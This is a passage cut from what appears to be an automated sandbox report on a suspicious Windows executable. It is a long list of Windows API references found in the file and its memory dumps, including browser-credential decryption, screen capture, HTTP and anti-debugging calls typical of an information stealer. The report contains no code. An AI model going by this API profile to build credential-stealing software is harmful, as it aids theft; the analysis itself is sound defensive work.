"GetCurrentThread"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SuspendThread"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ReleaseSemaphore"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "MapViewOfFile"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ReadFile"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "UnlockFileEx"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetFileAttributesExW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateProcessA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "OpenSemaphoreA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetFileAttributesExA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ioctlsocket"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WSAStartup"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "getsockname"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "htons"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "gethostname"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "getsockopt"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "closesocket"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ntohs"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WSAGetLastError"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "__WSAFDIsSet"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WSACleanup"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "gethostbyname"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "getpeername"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "recvfrom"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "lstrlenW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetFilePointerEx"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetCommandLineA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InterlockedFlushSList"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FindNextFileW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RtlCaptureContext"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FindFirstFileExW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetModuleHandleExW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetEnvironmentVariableW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "BCryptGenRandom"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RtlNtStatusToDosError"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "NtWriteFile"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetVolumeInformationA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "DisableThreadLibraryCalls"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetLogicalDrives"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetComputerNameA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GlobalMemoryStatus"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CertFreeCertificateContext"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CertCloseStore"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CryptQueryObject"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CertFindCertificateInStore"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CryptMsgClose"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CertGetNameStringW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CryptMsgGetParam"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CryptBinaryToStringW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "DeactivateActCtx"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ActivateActCtx"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "VerifyVersionInfoW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetThreadContext"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ReleaseActCtx"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetEnvironmentVariableA"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "K32EnumProcessModules"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "QueryPerformanceFrequency"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WakeConditionVariable"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateActCtxW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InitializeConditionVariable"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "TryAcquireSRWLockExclusive"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "FlushInstructionCache"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateThread"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetEnvironmentVariableW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ReleaseSRWLockShared"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SearchPathW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "QueryUnbiasedInterruptTime"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InitializeSRWLock"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetEvent"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "AcquireSRWLockShared"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InitializeCriticalSectionEx"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "AcquireSRWLockExclusive"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "WakeAllConditionVariable"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ResetEvent"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InitOnceExecuteOnce"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateEventW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetProcessTimes"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "TryAcquireSRWLockShared"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SleepConditionVariableSRW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetTickCount64"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetSystemTimeAdjustment"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetThreadId"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RtlDuplicateUnicodeString"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RtlAllocateHeap"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RtlReAllocateHeap"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RtlCaptureStackBackTrace"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RtlFreeHeap"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RtlSetLastWin32Error"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RtlCompareMemory"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "RtlFreeUnicodeString"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "NtQueryVirtualMemory"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "VerSetConditionMask"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CopyFileW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetNativeSystemInfo"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetFileAttributesW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetDiskFreeSpaceExW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SetFileTime"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateDirectoryW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CompareStringW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "SwitchToThread"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetExitCodeThread"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "QueueUserWorkItem"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "GetLocaleInfoW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "CreateHardLinkW"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "InterlockedPushEntrySList"; File: "bf3bc85903e812ff6a136924bf8ab376.exe") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "CryptStringToBinaryA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "BCryptSetProperty"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetSystemPowerStatus"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "CreateStreamOnHGlobal"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "BCryptDestroyKey"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetEnvironmentVariableA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetUserDefaultLangID"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "VirtualAllocExNuma"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetComputerNameA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GlobalMemoryStatusEx"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "SystemTimeToFileTime"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "VirtualFree"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "OpenEventA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "lstrcpyA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetUserNameA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "CreateDCA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetSystemTime"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "lstrcatA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "BCryptGenerateSymmetricKey"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "BCryptCloseAlgorithmProvider"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "BCryptOpenAlgorithmProvider"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetLogicalProcessorInformationEx"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GlobalSize"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "Process32First"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetLocaleInfoA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "IsWow64Process"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "Process32Next"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "CopyFileA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "lstrcpynA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "CloseWindow"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "CharToOemW"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "RegEnumValueA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "BCryptDecrypt"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "wsprintfW"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "RegEnumKeyExA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "wsprintfA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteExA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "DisplayVersion"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "Local State"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetKeyboardLayoutList"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "HttpSendRequestA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "SHGetFolderPathA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "HttpOpenRequestA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "CryptUnprotectData"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "InternetConnectA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "GetModuleFileNameExA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "InternetCrackUrlA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "CryptBinaryToStringA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00001720.00000000.180784.04DC0000.00000040.mdmp, 00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetProcessWindowStation"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetUserObjectInformationW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetLastActivePopup"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetActiveWindow"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "MessageBoxW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "NtQueryInformationProcess"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "InternetSetOptionA"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "HttpQueryInfoA"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "VirtualQueryEx"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "ReadProcessMemory"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "CloseDesktop"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "CreateDesktopA"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "OpenDesktopA"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "EncodePointer"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionAndSpinCount"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "LoadLibraryW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "InterlockedIncrement"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "InterlockedDecrement"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001720.00000000.180784.050C0000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: 